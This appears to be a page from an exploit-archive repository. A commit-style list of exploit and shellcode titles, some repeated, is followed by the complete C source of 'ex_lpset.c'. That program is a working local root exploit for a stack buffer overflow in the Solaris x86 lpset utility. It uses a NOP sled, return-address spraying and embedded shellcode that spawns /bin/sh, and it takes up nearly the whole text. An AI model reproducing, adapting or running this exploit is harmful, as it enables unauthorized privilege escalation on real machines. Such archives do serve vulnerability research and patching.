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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
63 lines
No EOL
2.6 KiB
C
63 lines
No EOL
2.6 KiB
C
/*
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source: https://www.securityfocus.com/bid/251/info
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A stack buffer overflow vulnerability in the handling of the "-a" command in the lpset program allows arbitrary execution of code with root privileges.
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The lpset utility sets printing configuration information in the system configuration databases. lpset can be used to create and update printing configuration in /etc/printers.conf or Federated Naming System (FNS). Only a superuser or a member of Group 14 may execute lpset.
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There has been mixed results as to whether the applications exits with the message "Permission denied: not in group 14." before the overflow can be exploited, and thus the vulnerability can only be exploited by members of group 14.
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*/
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/*===================================================================
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ex_lpset.c Overflow Exploits( for Intel Edition )
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The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
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Written by UNYUN (unewn4th@usa.net)
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=====================================================================
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*/
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#define OFFSET 0x3b88
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#define STARTADR 700
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#define ENDADR 1200
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#define EX_STADR 8000
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#define BUFSIZE 22000
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#define NOP 0x90
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unsigned long ret_adr;
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int i,adjust;
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char exploit_code[] =
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"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
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"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55"
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"\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0"
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"\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e"
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"\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3"
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"\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08"
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"\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8"
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"\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
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unsigned long get_sp(void)
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{
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__asm__(" movl %esp,%eax ");
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}
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static char x[BUFSIZE];
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main(int argc, char **argv)
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{
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memset(x,NOP,18000);
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ret_adr=get_sp()-OFFSET;
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printf("0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n");
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printf("Input (0-3) : "); scanf("%d",&adjust);
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printf("Jumping Address = 0x%lx\n",ret_adr);
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for (i = adjust+STARTADR; i<ENDADR ; i+=4){
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x[i+2]=ret_adr & 0xff;
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x[i+3]=(ret_adr >> 8 ) &0xff;
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x[i+0]=(ret_adr >> 16 ) &0xff;
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x[i+1]=(ret_adr >> 24 ) &0xff;
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}
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for (i=0;i<strlen(exploit_code);i++)
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x[i+EX_STADR]=exploit_code[i];
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x[5000]='=';
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x[18000]=0;
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execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);
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} |